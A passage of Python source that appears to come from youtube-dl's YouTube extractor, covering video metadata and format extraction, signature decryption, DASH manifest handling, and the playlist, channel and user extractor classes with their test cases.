        video_id = self.extract_id(url)

        # Get video webpage
        url = proto + '://www.youtube.com/watch?v=%s&gl=US&hl=en&has_verified=1&bpctr=9999999999' % video_id
        video_webpage = self._download_webpage(url, video_id)

        # Attempt to extract SWF player URL
        mobj = re.search(r'swfConfig.*?"(https?:\\/\\/.*?watch.*?-.*?\.swf)"', video_webpage)
        if mobj is not None:
            player_url = re.sub(r'\\(.)', r'\1', mobj.group(1))
        else:
            player_url = None

        dash_mpds = []

        def add_dash_mpd(video_info):
            dash_mpd = video_info.get('dashmpd')
            if dash_mpd and dash_mpd[0] not in dash_mpds:
                dash_mpds.append(dash_mpd[0])

        # Get video info
        embed_webpage = None
        is_live = None
        if re.search(r'player-age-gate-content">', video_webpage) is not None:
            age_gate = True
            # We simulate the access to the video from www.youtube.com/v/{video_id}
            # this can be viewed without login into Youtube
            url = proto + '://www.youtube.com/embed/%s' % video_id
            embed_webpage = self._download_webpage(url, video_id, 'Downloading embed webpage')
            data = compat_urllib_parse_urlencode({
                'video_id': video_id,
                'eurl': 'https://youtube.googleapis.com/v/' + video_id,
                'sts': self._search_regex(
                    r'"sts"\s*:\s*(\d+)', embed_webpage, 'sts', default=''),
            })
            video_info_url = proto + '://www.youtube.com/get_video_info?' + data
            video_info_webpage = self._download_webpage(
                video_info_url, video_id,
                note='Refetching age-gated info webpage',
                errnote='unable to download video info webpage')
            video_info = compat_parse_qs(video_info_webpage)
            add_dash_mpd(video_info)
        else:
            age_gate = False
            video_info = None
            # Try looking directly into the video webpage
            ytplayer_config = self._get_ytplayer_config(video_id, video_webpage)
            if ytplayer_config:
                args = ytplayer_config['args']
                if args.get('url_encoded_fmt_stream_map'):
                    # Convert to the same format returned by compat_parse_qs
                    video_info = dict((k, [v]) for k, v in args.items())
                    add_dash_mpd(video_info)
                if args.get('livestream') == '1' or args.get('live_playback') == 1:
                    is_live = True
            if not video_info or self._downloader.params.get('youtube_include_dash_manifest', True):
                # We also try looking in get_video_info since it may contain different dashmpd
                # URL that points to a DASH manifest with possibly different itag set (some itags
                # are missing from DASH manifest pointed by webpage's dashmpd, some - from DASH
                # manifest pointed by get_video_info's dashmpd).
                # The general idea is to take a union of itags of both DASH manifests (for example
                # video with such 'manifest behavior' see https://github.com/rg3/youtube-dl/issues/6093)
                self.report_video_info_webpage_download(video_id)
                for el_type in ['&el=info', '&el=embedded', '&el=detailpage', '&el=vevo', '']:
                    video_info_url = (
                        '%s://www.youtube.com/get_video_info?&video_id=%s%s&ps=default&eurl=&gl=US&hl=en'
                        % (proto, video_id, el_type))
                    video_info_webpage = self._download_webpage(
                        video_info_url,
                        video_id, note=False,
                        errnote='unable to download video info webpage')
                    get_video_info = compat_parse_qs(video_info_webpage)
                    if get_video_info.get('use_cipher_signature') != ['True']:
                        add_dash_mpd(get_video_info)
                    if not video_info:
                        video_info = get_video_info
                    if 'token' in get_video_info:
                        # Different get_video_info requests may report different results, e.g.
                        # some may report video unavailability, but some may serve it without
                        # any complaint (see https://github.com/rg3/youtube-dl/issues/7362,
                        # the original webpage as well as el=info and el=embedded get_video_info
                        # requests report video unavailability due to geo restriction while
                        # el=detailpage succeeds and returns valid data). This is probably
                        # due to YouTube measures against IP ranges of hosting providers.
                        # Working around by preferring the first succeeded video_info containing
                        # the token if no such video_info yet was found.
                        if 'token' not in video_info:
                            video_info = get_video_info
                        break
        if 'token' not in video_info:
            if 'reason' in video_info:
                if 'The uploader has not made this video available in your country.' in video_info['reason']:
                    regions_allowed = self._html_search_meta('regionsAllowed', video_webpage, default=None)
                    if regions_allowed:
                        raise ExtractorError('YouTube said: This video is available in %s only' % (
                            ', '.join(map(ISO3166Utils.short2full, regions_allowed.split(',')))),
                            expected=True)
                raise ExtractorError(
                    'YouTube said: %s' % video_info['reason'][0],
                    expected=True, video_id=video_id)
            else:
                raise ExtractorError(
                    '"token" parameter not in video info for unknown reason',
                    video_id=video_id)

        # title
        if 'title' in video_info:
            video_title = video_info['title'][0]
        else:
            self._downloader.report_warning('Unable to extract video title')
            video_title = '_'

        # description
        video_description = get_element_by_id("eow-description", video_webpage)
        if video_description:
            video_description = re.sub(r'''(?x)
                <a\s+
                    (?:[a-zA-Z-]+="[^"]*"\s+)*?
                    (?:title|href)="([^"]+)"\s+
                    (?:[a-zA-Z-]+="[^"]*"\s+)*?
                    class="[^"]*"[^>]*>
                [^<]+\.{3}\s*
                </a>
            ''', r'\1', video_description)
            video_description = clean_html(video_description)
        else:
            fd_mobj = re.search(r'<meta name="description" content="([^"]+)"', video_webpage)
            if fd_mobj:
                video_description = unescapeHTML(fd_mobj.group(1))
            else:
                video_description = ''

        if 'multifeed_metadata_list' in video_info and not smuggled_data.get('force_singlefeed', False):
            if not self._downloader.params.get('noplaylist'):
                entries = []
                feed_ids = []
                multifeed_metadata_list = video_info['multifeed_metadata_list'][0]
                for feed in multifeed_metadata_list.split(','):
                    # Unquote should take place before split on comma (,) since textual
                    # fields may contain comma as well (see
                    # https://github.com/rg3/youtube-dl/issues/8536)
                    feed_data = compat_parse_qs(compat_urllib_parse_unquote_plus(feed))
                    entries.append({
                        '_type': 'url_transparent',
                        'ie_key': 'Youtube',
                        'url': smuggle_url(
                            '%s://www.youtube.com/watch?v=%s' % (proto, feed_data['id'][0]),
                            {'force_singlefeed': True}),
                        'title': '%s (%s)' % (video_title, feed_data['title'][0]),
                    })
                    feed_ids.append(feed_data['id'][0])
                self.to_screen(
                    'Downloading multifeed video (%s) - add --no-playlist to just download video %s'
                    % (', '.join(feed_ids), video_id))
                return self.playlist_result(entries, video_id, video_title, video_description)
            self.to_screen('Downloading just video %s because of --no-playlist' % video_id)

        if 'view_count' in video_info:
            view_count = int(video_info['view_count'][0])
        else:
            view_count = None

        # Check for "rental" videos
        if 'ypc_video_rental_bar_text' in video_info and 'author' not in video_info:
            raise ExtractorError('"rental" videos not supported')

        # Start extracting information
        self.report_information_extraction(video_id)

        # uploader
        if 'author' not in video_info:
            raise ExtractorError('Unable to extract uploader name')
        video_uploader = compat_urllib_parse_unquote_plus(video_info['author'][0])

        # uploader_id
        video_uploader_id = None
        video_uploader_url = None
        mobj = re.search(
            r'<link itemprop="url" href="(?P<uploader_url>https?://www.youtube.com/(?:user|channel)/(?P<uploader_id>[^"]+))">',
            video_webpage)
        if mobj is not None:
            video_uploader_id = mobj.group('uploader_id')
            video_uploader_url = mobj.group('uploader_url')
        else:
            self._downloader.report_warning('unable to extract uploader nickname')

        # thumbnail image
        # We try first to get a high quality image:
        m_thumb = re.search(r'<span itemprop="thumbnail".*?href="(.*?)">',
                            video_webpage, re.DOTALL)
        if m_thumb is not None:
            video_thumbnail = m_thumb.group(1)
        elif 'thumbnail_url' not in video_info:
            self._downloader.report_warning('unable to extract video thumbnail')
            video_thumbnail = None
        else:   # don't panic if we can't find it
            video_thumbnail = compat_urllib_parse_unquote_plus(video_info['thumbnail_url'][0])

        # upload date
        upload_date = self._html_search_meta(
            'datePublished', video_webpage, 'upload date', default=None)
        if not upload_date:
            upload_date = self._search_regex(
                [r'(?s)id="eow-date.*?>(.*?)</span>',
                 r'id="watch-uploader-info".*?>.*?(?:Published|Uploaded|Streamed live|Started) on (.+?)</strong>'],
                video_webpage, 'upload date', default=None)
            if upload_date:
                upload_date = ' '.join(re.sub(r'[/,-]', r' ', mobj.group(1)).split())
        upload_date = unified_strdate(upload_date)

        video_license = self._html_search_regex(
            r'<h4[^>]+class="title"[^>]*>\s*License\s*</h4>\s*<ul[^>]*>\s*<li>(.+?)</li',
            video_webpage, 'license', default=None)

        m_music = re.search(
            r'<h4[^>]+class="title"[^>]*>\s*Music\s*</h4>\s*<ul[^>]*>\s*<li>(?P<title>.+?) by (?P<creator>.+?)(?:\(.+?\))?</li',
            video_webpage)
        if m_music:
            video_alt_title = remove_quotes(unescapeHTML(m_music.group('title')))
            video_creator = clean_html(m_music.group('creator'))
        else:
            video_alt_title = video_creator = None

        m_cat_container = self._search_regex(
            r'(?s)<h4[^>]*>\s*Category\s*</h4>\s*<ul[^>]*>(.*?)</ul>',
            video_webpage, 'categories', default=None)
        if m_cat_container:
            category = self._html_search_regex(
                r'(?s)<a[^<]+>(.*?)</a>', m_cat_container, 'category',
                default=None)
            video_categories = None if category is None else [category]
        else:
            video_categories = None

        video_tags = [
            unescapeHTML(m.group('content'))
            for m in re.finditer(self._meta_regex('og:video:tag'), video_webpage)]

        def _extract_count(count_name):
            return str_to_int(self._search_regex(
                r'-%s-button[^>]+><span[^>]+class="yt-uix-button-content"[^>]*>([\d,]+)</span>'
                % re.escape(count_name),
                video_webpage, count_name, default=None))

        like_count = _extract_count('like')
        dislike_count = _extract_count('dislike')

        # subtitles
        video_subtitles = self.extract_subtitles(video_id, video_webpage)
        automatic_captions = self.extract_automatic_captions(video_id, video_webpage)

        if 'length_seconds' not in video_info:
            self._downloader.report_warning('unable to extract video duration')
            video_duration = None
        else:
            video_duration = int(compat_urllib_parse_unquote_plus(video_info['length_seconds'][0]))

        # annotations
        video_annotations = None
        if self._downloader.params.get('writeannotations', False):
            video_annotations = self._extract_annotations(video_id)

        def _map_to_format_list(urlmap):
            formats = []
            for itag, video_real_url in urlmap.items():
                dct = {
                    'format_id': itag,
                    'url': video_real_url,
                    'player_url': player_url,
                }
                if itag in self._formats:
                    dct.update(self._formats[itag])
                formats.append(dct)
            return formats

        if 'conn' in video_info and video_info['conn'][0].startswith('rtmp'):
            self.report_rtmp_download()
            formats = [{
                'format_id': '_rtmp',
                'protocol': 'rtmp',
                'url': video_info['conn'][0],
                'player_url': player_url,
            }]
        elif len(video_info.get('url_encoded_fmt_stream_map', [''])[0]) >= 1 or len(video_info.get('adaptive_fmts', [''])[0]) >= 1:
            encoded_url_map = video_info.get('url_encoded_fmt_stream_map', [''])[0] + ',' + video_info.get('adaptive_fmts', [''])[0]
            if 'rtmpe%3Dyes' in encoded_url_map:
                raise ExtractorError('rtmpe downloads are not supported, see https://github.com/rg3/youtube-dl/issues/343 for more information.', expected=True)
            formats_spec = {}
            fmt_list = video_info.get('fmt_list', [''])[0]
            if fmt_list:
                for fmt in fmt_list.split(','):
                    spec = fmt.split('/')
                    if len(spec) > 1:
                        width_height = spec[1].split('x')
                        if len(width_height) == 2:
                            formats_spec[spec[0]] = {
                                'resolution': spec[1],
                                'width': int_or_none(width_height[0]),
                                'height': int_or_none(width_height[1]),
                            }
            formats = []
            for url_data_str in encoded_url_map.split(','):
                url_data = compat_parse_qs(url_data_str)
                if 'itag' not in url_data or 'url' not in url_data:
                    continue
                format_id = url_data['itag'][0]
                url = url_data['url'][0]

                if 'sig' in url_data:
                    url += '&signature=' + url_data['sig'][0]
                elif 's' in url_data:
                    encrypted_sig = url_data['s'][0]
                    ASSETS_RE = r'"assets":.+?"js":\s*("[^"]+")'

                    jsplayer_url_json = self._search_regex(
                        ASSETS_RE,
                        embed_webpage if age_gate else video_webpage,
                        'JS player URL (1)', default=None)
                    if not jsplayer_url_json and not age_gate:
                        # We need the embed website after all
                        if embed_webpage is None:
                            embed_url = proto + '://www.youtube.com/embed/%s' % video_id
                            embed_webpage = self._download_webpage(
                                embed_url, video_id, 'Downloading embed webpage')
                        jsplayer_url_json = self._search_regex(
                            ASSETS_RE, embed_webpage, 'JS player URL')

                    player_url = json.loads(jsplayer_url_json)
                    if player_url is None:
                        player_url_json = self._search_regex(
                            r'ytplayer\.config.*?"url"\s*:\s*("[^"]+")',
                            video_webpage, 'age gate player URL')
                        player_url = json.loads(player_url_json)

                    if self._downloader.params.get('verbose'):
                        if player_url is None:
                            player_version = 'unknown'
                            player_desc = 'unknown'
                        else:
                            if player_url.endswith('swf'):
                                player_version = self._search_regex(
                                    r'-(.+?)(?:/watch_as3)?\.swf$', player_url,
                                    'flash player', fatal=False)
                                player_desc = 'flash player %s' % player_version
                            else:
                                player_version = self._search_regex(
                                    [r'html5player-([^/]+?)(?:/html5player(?:-new)?)?\.js', r'(?:www|player)-([^/]+)/base\.js'],
                                    player_url,
                                    'html5 player', fatal=False)
                                player_desc = 'html5 player %s' % player_version

                        parts_sizes = self._signature_cache_id(encrypted_sig)
                        self.to_screen('{%s} signature length %s, %s' %
                                       (format_id, parts_sizes, player_desc))

                    signature = self._decrypt_signature(
                        encrypted_sig, video_id, player_url, age_gate)
                    url += '&signature=' + signature
                if 'ratebypass' not in url:
                    url += '&ratebypass=yes'

                dct = {
                    'format_id': format_id,
                    'url': url,
                    'player_url': player_url,
                }
                if format_id in self._formats:
                    dct.update(self._formats[format_id])
                if format_id in formats_spec:
                    dct.update(formats_spec[format_id])

                # Some itags are not included in DASH manifest thus corresponding formats will
                # lack metadata (see https://github.com/rg3/youtube-dl/pull/5993).
                # Trying to extract metadata from url_encoded_fmt_stream_map entry.
                mobj = re.search(r'^(?P<width>\d+)[xX](?P<height>\d+)$', url_data.get('size', [''])[0])
                width, height = (int(mobj.group('width')), int(mobj.group('height'))) if mobj else (None, None)

                more_fields = {
                    'filesize': int_or_none(url_data.get('clen', [None])[0]),
                    'tbr': float_or_none(url_data.get('bitrate', [None])[0], 1000),
                    'width': width,
                    'height': height,
                    'fps': int_or_none(url_data.get('fps', [None])[0]),
                    'format_note': url_data.get('quality_label', [None])[0] or url_data.get('quality', [None])[0],
                }
                for key, value in more_fields.items():
                    if value:
                        dct[key] = value
                type_ = url_data.get('type', [None])[0]
                if type_:
                    type_split = type_.split(';')
                    kind_ext = type_split[0].split('/')
                    if len(kind_ext) == 2:
                        kind, _ = kind_ext
                        dct['ext'] = mimetype2ext(type_split[0])
                        if kind in ('audio', 'video'):
                            codecs = None
                            for mobj in re.finditer(
                                    r'(?P<key>[a-zA-Z_-]+)=(?P<quote>["\']?)(?P<val>.+?)(?P=quote)(?:;|$)', type_):
                                if mobj.group('key') == 'codecs':
                                    codecs = mobj.group('val')
                                    break
                            if codecs:
                                codecs = codecs.split(',')
                                if len(codecs) == 2:
                                    acodec, vcodec = codecs[1], codecs[0]
                                else:
                                    acodec, vcodec = (codecs[0], 'none') if kind == 'audio' else ('none', codecs[0])
                                dct.update({
                                    'acodec': acodec,
                                    'vcodec': vcodec,
                                })
                formats.append(dct)
        elif video_info.get('hlsvp'):
            manifest_url = video_info['hlsvp'][0]
            url_map = self._extract_from_m3u8(manifest_url, video_id)
            formats = _map_to_format_list(url_map)
            # Accept-Encoding header causes failures in live streams on Youtube and Youtube Gaming
            for a_format in formats:
                a_format.setdefault('http_headers', {})['Youtubedl-no-compression'] = 'True'
        else:
            unavailable_message = self._html_search_regex(
                r'(?s)<h1[^>]+id="unavailable-message"[^>]*>(.+?)</h1>',
                video_webpage, 'unavailable message', default=None)
            if unavailable_message:
                raise ExtractorError(unavailable_message, expected=True)
            raise ExtractorError('no conn, hlsvp or url_encoded_fmt_stream_map information found in video info')

        # Look for the DASH manifest
        if self._downloader.params.get('youtube_include_dash_manifest', True):
            dash_mpd_fatal = True
            for mpd_url in dash_mpds:
                dash_formats = {}
                try:
                    def decrypt_sig(mobj):
                        s = mobj.group(1)
                        dec_s = self._decrypt_signature(s, video_id, player_url, age_gate)
                        return '/signature/%s' % dec_s

                    mpd_url = re.sub(r'/s/([a-fA-F0-9\.]+)', decrypt_sig, mpd_url)

                    for df in self._extract_mpd_formats(
                            mpd_url, video_id, fatal=dash_mpd_fatal,
                            formats_dict=self._formats):
                        # Do not overwrite DASH format found in some previous DASH manifest
                        if df['format_id'] not in dash_formats:
                            dash_formats[df['format_id']] = df
                        # Additional DASH manifests may end up in HTTP Error 403 therefore
                        # allow them to fail without bug report message if we already have
                        # some DASH manifest succeeded. This is temporary workaround to reduce
                        # burst of bug reports until we figure out the reason and whether it
                        # can be fixed at all.
                        dash_mpd_fatal = False
                except (ExtractorError, KeyError) as e:
                    self.report_warning(
                        'Skipping DASH manifest: %r' % e, video_id)
                if dash_formats:
                    # Remove the formats we found through non-DASH, they
                    # contain less info and it can be wrong, because we use
                    # fixed values (for example the resolution). See
                    # https://github.com/rg3/youtube-dl/issues/5774 for an
                    # example.
                    formats = [f for f in formats if f['format_id'] not in dash_formats.keys()]
                    formats.extend(dash_formats.values())

        # Check for malformed aspect ratio
        stretched_m = re.search(
            r'<meta\s+property="og:video:tag".*?content="yt:stretch=(?P<w>[0-9]+):(?P<h>[0-9]+)">',
            video_webpage)
        if stretched_m:
            w = float(stretched_m.group('w'))
            h = float(stretched_m.group('h'))
            # yt:stretch may hold invalid ratio data (e.g. for Q39EVAstoRM ratio is 17:0).
            # We will only process correct ratios.
            if w > 0 and h > 0:
                ratio = w / h
                for f in formats:
                    if f.get('vcodec') != 'none':
                        f['stretched_ratio'] = ratio

        self._sort_formats(formats)

        self.mark_watched(video_id, video_info)

        return {
            'id': video_id,
            'uploader': video_uploader,
            'uploader_id': video_uploader_id,
            'uploader_url': video_uploader_url,
            'upload_date': upload_date,
            'license': video_license,
            'creator': video_creator,
            'title': video_title,
            'alt_title': video_alt_title,
            'thumbnail': video_thumbnail,
            'description': video_description,
            'categories': video_categories,
            'tags': video_tags,
            'subtitles': video_subtitles,
            'automatic_captions': automatic_captions,
            'duration': video_duration,
            'age_limit': 18 if age_gate else 0,
            'annotations': video_annotations,
            'webpage_url': proto + '://www.youtube.com/watch?v=%s' % video_id,
            'view_count': view_count,
            'like_count': like_count,
            'dislike_count': dislike_count,
            'average_rating': float_or_none(video_info.get('avg_rating', [None])[0]),
            'formats': formats,
            'is_live': is_live,
            'start_time': start_time,
            'end_time': end_time,
        }


class YoutubeSharedVideoIE(InfoExtractor):
    _VALID_URL = r'(?:https?:)?//(?:www\.)?youtube\.com/shared\?.*\bci=(?P<id>[0-9A-Za-z_-]{11})'
    IE_NAME = 'youtube:shared'

    _TEST = {
        'url': 'https://www.youtube.com/shared?ci=1nEzmT-M4fU',
        'info_dict': {
            'id': 'uPDB5I9wfp8',
            'ext': 'webm',
            'title': 'Pocoyo: 90 minutos de episódios completos Português para crianças - PARTE 3',
            'description': 'md5:d9e4d9346a2dfff4c7dc4c8cec0f546d',
            'upload_date': '20160219',
            'uploader': 'Pocoyo - Português (BR)',
            'uploader_id': 'PocoyoBrazil',
        },
        'add_ie': ['Youtube'],
        'params': {
            # There are already too many Youtube downloads
            'skip_download': True,
        },
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)

        real_video_id = self._html_search_meta(
            'videoId', webpage, 'YouTube video id', fatal=True)

        return self.url_result(real_video_id, YoutubeIE.ie_key())


class YoutubePlaylistIE(YoutubePlaylistBaseInfoExtractor):
    IE_DESC = 'YouTube.com playlists'
    _VALID_URL = r"""(?x)(?:
                        (?:https?://)?
                        (?:\w+\.)?
                        youtube\.com/
                        (?:
                           (?:course|view_play_list|my_playlists|artist|playlist|watch|embed/videoseries)
                           \? (?:.*?[&;])*? (?:p|a|list)=
                        |  p/
                        )
                        (
                            (?:PL|LL|EC|UU|FL|RD|UL)?[0-9A-Za-z-_]{10,}
                            # Top tracks, they can also include dots
                            |(?:MC)[\w\.]*
                        )
                        .*
                     |
                        ((?:PL|LL|EC|UU|FL|RD|UL)[0-9A-Za-z-_]{10,})
                     )"""
    _TEMPLATE_URL = 'https://www.youtube.com/playlist?list=%s'
    _VIDEO_RE = r'href="\s*/watch\?v=(?P<id>[0-9A-Za-z_-]{11})&amp;[^"]*?index=(?P<index>\d+)(?:[^>]+>(?P<title>[^<]+))?'
    IE_NAME = 'youtube:playlist'
    _TESTS = [{
        'url': 'https://www.youtube.com/playlist?list=PLwiyx1dc3P2JR9N8gQaQN_BCvlSlap7re',
        'info_dict': {
            'title': 'ytdl test PL',
            'id': 'PLwiyx1dc3P2JR9N8gQaQN_BCvlSlap7re',
        },
        'playlist_count': 3,
    }, {
        'url': 'https://www.youtube.com/playlist?list=PLtPgu7CB4gbZDA7i_euNxn75ISqxwZPYx',
        'info_dict': {
            'id': 'PLtPgu7CB4gbZDA7i_euNxn75ISqxwZPYx',
            'title': 'YDL_Empty_List',
        },
        'playlist_count': 0,
    }, {
        'note': 'Playlist with deleted videos (#651). As a bonus, the video #51 is also twice in this list.',
        'url': 'https://www.youtube.com/playlist?list=PLwP_SiAcdui0KVebT0mU9Apz359a4ubsC',
        'info_dict': {
            'title': '29C3: Not my department',
            'id': 'PLwP_SiAcdui0KVebT0mU9Apz359a4ubsC',
        },
        'playlist_count': 95,
    }, {
        'note': 'issue #673',
        'url': 'PLBB231211A4F62143',
        'info_dict': {
            'title': '[OLD]Team Fortress 2 (Class-based LP)',
            'id': 'PLBB231211A4F62143',
        },
        'playlist_mincount': 26,
    }, {
        'note': 'Large playlist',
        'url': 'https://www.youtube.com/playlist?list=UUBABnxM4Ar9ten8Mdjj1j0Q',
        'info_dict': {
            'title': 'Uploads from Cauchemar',
            'id': 'UUBABnxM4Ar9ten8Mdjj1j0Q',
        },
        'playlist_mincount': 799,
    }, {
        'url': 'PLtPgu7CB4gbY9oDN3drwC3cMbJggS7dKl',
        'info_dict': {
            'title': 'YDL_safe_search',
            'id': 'PLtPgu7CB4gbY9oDN3drwC3cMbJggS7dKl',
        },
        'playlist_count': 2,
    }, {
        'note': 'embedded',
        'url': 'http://www.youtube.com/embed/videoseries?list=PL6IaIsEjSbf96XFRuNccS_RuEXwNdsoEu',
        'playlist_count': 4,
        'info_dict': {
            'title': 'JODA15',
            'id': 'PL6IaIsEjSbf96XFRuNccS_RuEXwNdsoEu',
        }
    }, {
        'note': 'Embedded SWF player',
        'url': 'http://www.youtube.com/p/YN5VISEtHet5D4NEvfTd0zcgFk84NqFZ?hl=en_US&fs=1&rel=0',
        'playlist_count': 4,
        'info_dict': {
            'title': 'JODA7',
            'id': 'YN5VISEtHet5D4NEvfTd0zcgFk84NqFZ',
        }
    }, {
        'note': 'Buggy playlist: the webpage has a "Load more" button but it doesn\'t have more videos',
        'url': 'https://www.youtube.com/playlist?list=UUXw-G3eDE9trcvY2sBMM_aA',
        'info_dict': {
            'title': 'Uploads from Interstellar Movie',
            'id': 'UUXw-G3eDE9trcvY2sBMM_aA',
        },
        'playlist_mincout': 21,
    }]

    def _real_initialize(self):
        self._login()

    def _extract_mix(self, playlist_id):
        # The mixes are generated from a single video
        # the id of the playlist is just 'RD' + video_id
        ids = []
        last_id = playlist_id[-11:]
        for n in itertools.count(1):
            url = 'https://youtube.com/watch?v=%s&list=%s' % (last_id, playlist_id)
            webpage = self._download_webpage(
                url, playlist_id, 'Downloading page {0} of Youtube mix'.format(n))
            new_ids = orderedSet(re.findall(
                r'''(?xs)data-video-username=".*?".*?
                           href="/watch\?v=([0-9A-Za-z_-]{11})&amp;[^"]*?list=%s''' % re.escape(playlist_id),
                webpage))
            # Fetch new pages until all the videos are repeated, it seems that
            # there are always 51 unique videos.
            new_ids = [_id for _id in new_ids if _id not in ids]
            if not new_ids:
                break
            ids.extend(new_ids)
            last_id = ids[-1]

        url_results = self._ids_to_results(ids)

        search_title = lambda class_name: get_element_by_attribute('class', class_name, webpage)
        title_span = (
            search_title('playlist-title') or
            search_title('title long-title') or
            search_title('title'))
        title = clean_html(title_span)

        return self.playlist_result(url_results, playlist_id, title)

    def _extract_playlist(self, playlist_id):
        url = self._TEMPLATE_URL % playlist_id
        page = self._download_webpage(url, playlist_id)

        for match in re.findall(r'<div class="yt-alert-message">([^<]+)</div>', page):
            match = match.strip()
            # Check if the playlist exists or is private
            if re.match(r'[^<]*(The|This) playlist (does not exist|is private)[^<]*', match):
                raise ExtractorError(
                    'The playlist doesn\'t exist or is private, use --username or '
                    '--netrc to access it.',
                    expected=True)
            elif re.match(r'[^<]*Invalid parameters[^<]*', match):
                raise ExtractorError(
                    'Invalid parameters. Maybe URL is incorrect.',
                    expected=True)
            elif re.match(r'[^<]*Choose your language[^<]*', match):
                continue
            else:
                self.report_warning('Youtube gives an alert message: ' + match)

        playlist_title = self._html_search_regex(
            r'(?s)<h1 class="pl-header-title[^"]*"[^>]*>\s*(.*?)\s*</h1>',
            page, 'title')

        return self.playlist_result(self._entries(page, playlist_id), playlist_id, playlist_title)

    def _check_download_just_video(self, url, playlist_id):
        # Check if it's a video-specific URL
        query_dict = compat_urlparse.parse_qs(compat_urlparse.urlparse(url).query)
        if 'v' in query_dict:
            video_id = query_dict['v'][0]
            if self._downloader.params.get('noplaylist'):
                self.to_screen('Downloading just video %s because of --no-playlist' % video_id)
                return self.url_result(video_id, 'Youtube', video_id=video_id)
            else:
                self.to_screen('Downloading playlist %s - add --no-playlist to just download video %s' % (playlist_id, video_id))

    def _real_extract(self, url):
        # Extract playlist id
        mobj = re.match(self._VALID_URL, url)
        if mobj is None:
            raise ExtractorError('Invalid URL: %s' % url)
        playlist_id = mobj.group(1) or mobj.group(2)

        video = self._check_download_just_video(url, playlist_id)
        if video:
            return video

        if playlist_id.startswith(('RD', 'UL', 'PU')):
            # Mixes require a custom extraction process
            return self._extract_mix(playlist_id)

        return self._extract_playlist(playlist_id)


class YoutubeChannelIE(YoutubePlaylistBaseInfoExtractor):
    IE_DESC = 'YouTube.com channels'
    _VALID_URL = r'https?://(?:youtu\.be|(?:\w+\.)?youtube(?:-nocookie)?\.com)/channel/(?P<id>[0-9A-Za-z_-]+)'
    _TEMPLATE_URL = 'https://www.youtube.com/channel/%s/videos'
    _VIDEO_RE = r'(?:title="(?P<title>[^"]+)"[^>]+)?href="/watch\?v=(?P<id>[0-9A-Za-z_-]+)&?'
    IE_NAME = 'youtube:channel'
    _TESTS = [{
        'note': 'paginated channel',
        'url': 'https://www.youtube.com/channel/UCKfVa3S1e4PHvxWcwyMMg8w',
        'playlist_mincount': 91,
        'info_dict': {
            'id': 'UUKfVa3S1e4PHvxWcwyMMg8w',
            'title': 'Uploads from lex will',
        }
    }, {
        'note': 'Age restricted channel',
        # from https://www.youtube.com/user/DeusExOfficial
        'url': 'https://www.youtube.com/channel/UCs0ifCMCm1icqRbqhUINa0w',
        'playlist_mincount': 64,
        'info_dict': {
            'id': 'UUs0ifCMCm1icqRbqhUINa0w',
            'title': 'Uploads from Deus Ex',
        },
    }]

    @classmethod
    def suitable(cls, url):
        return (False if YoutubePlaylistsIE.suitable(url) or YoutubeLiveIE.suitable(url)
                else super(YoutubeChannelIE, cls).suitable(url))

    def _build_template_url(self, url, channel_id):
        return self._TEMPLATE_URL % channel_id

    def _real_extract(self, url):
        channel_id = self._match_id(url)

        url = self._build_template_url(url, channel_id)

        # Channel by page listing is restricted to 35 pages of 30 items, i.e. 1050 videos total (see #5778)
        # Workaround by extracting as a playlist if managed to obtain channel playlist URL
        # otherwise fallback on channel by page extraction
        channel_page = self._download_webpage(
            url + '?view=57', channel_id,
            'Downloading channel page', fatal=False)
        if channel_page is False:
            channel_playlist_id = False
        else:
            channel_playlist_id = self._html_search_meta(
                'channelId', channel_page, 'channel id', default=None)
            if not channel_playlist_id:
                channel_url = self._html_search_meta(
                    ('al:ios:url', 'twitter:app:url:iphone', 'twitter:app:url:ipad'),
                    channel_page, 'channel url', default=None)
                if channel_url:
                    channel_playlist_id = self._search_regex(
                        r'vnd\.youtube://user/([0-9A-Za-z_-]+)',
                        channel_url, 'channel id', default=None)
        if channel_playlist_id and channel_playlist_id.startswith('UC'):
            playlist_id = 'UU' + channel_playlist_id[2:]
            return self.url_result(
                compat_urlparse.urljoin(url, '/playlist?list=%s' % playlist_id), 'YoutubePlaylist')

        channel_page = self._download_webpage(url, channel_id, 'Downloading page #1')
        autogenerated = re.search(r'''(?x)
                class="[^"]*?(?:
                    channel-header-autogenerated-label|
                    yt-channel-title-autogenerated
                )[^"]*"''', channel_page) is not None

        if autogenerated:
            # The videos are contained in a single page
            # the ajax pages can't be used, they are empty
            entries = [
                self.url_result(
                    video_id, 'Youtube', video_id=video_id,
                    video_title=video_title)
                for video_id, video_title in self.extract_videos_from_page(channel_page)]
            return self.playlist_result(entries, channel_id)

        try:
            next(self._entries(channel_page, channel_id))
        except StopIteration:
            alert_message = self._html_search_regex(
                r'(?s)<div[^>]+class=(["\']).*?\byt-alert-message\b.*?\1[^>]*>(?P<alert>[^<]+)</div>',
                channel_page, 'alert', default=None, group='alert')
            if alert_message:
                raise ExtractorError('Youtube said: %s' % alert_message, expected=True)

        return self.playlist_result(self._entries(channel_page, channel_id), channel_id)


class YoutubeUserIE(YoutubeChannelIE):
    IE_DESC = 'YouTube.com user videos (URL or "ytuser" keyword)'
    _VALID_URL = r'(?:(?:https?://(?:\w+\.)?youtube\.com/(?:(?P<user>user|c)/)?(?!(?:attribution_link|watch|results)(?:$|[^a-z_A-Z0-9-])))|ytuser:)(?!feed/)(?P<id>[A-Za-z0-9_-]+)'
    _TEMPLATE_URL = 'https://www.youtube.com/%s/%s/videos'
    IE_NAME = 'youtube:user'

    _TESTS = [{
        'url': 'https://www.youtube.com/user/TheLinuxFoundation',
        'playlist_mincount': 320,
        'info_dict': {
            'id': 'UUfX55Sx5hEFjoC3cNs6mCUQ',
            'title': 'Uploads from The Linux Foundation',
        }
    }, {
        # Only available via https://www.youtube.com/c/12minuteathlete/videos
        # but not https://www.youtube.com/user/12minuteathlete/videos
        'url': 'https://www.youtube.com/c/12minuteathlete/videos',
        'playlist_mincount': 249,
        'info_dict': {
            'id': 'UUVjM-zV6_opMDx7WYxnjZiQ',
            'title': 'Uploads from 12 Minute Athlete',
        }
    }, {
        'url': 'ytuser:phihag',
        'only_matching': True,
    }, {
        'url': 'https://www.youtube.com/c/gametrailers',
        'only_matching': True,
    }, {
        'url': 'https://www.youtube.com/gametrailers',
        'only_matching': True,
    }, {
        # This channel is not available.
        'url': 'https://www.youtube.com/user/kananishinoSMEJ/videos',
        'only_matching': True,
    }]

    @classmethod
    def suitable(cls, url):
        # Don't return True if the url can be extracted with other youtube
        # extractor, the regex would is too permissive and it would match.
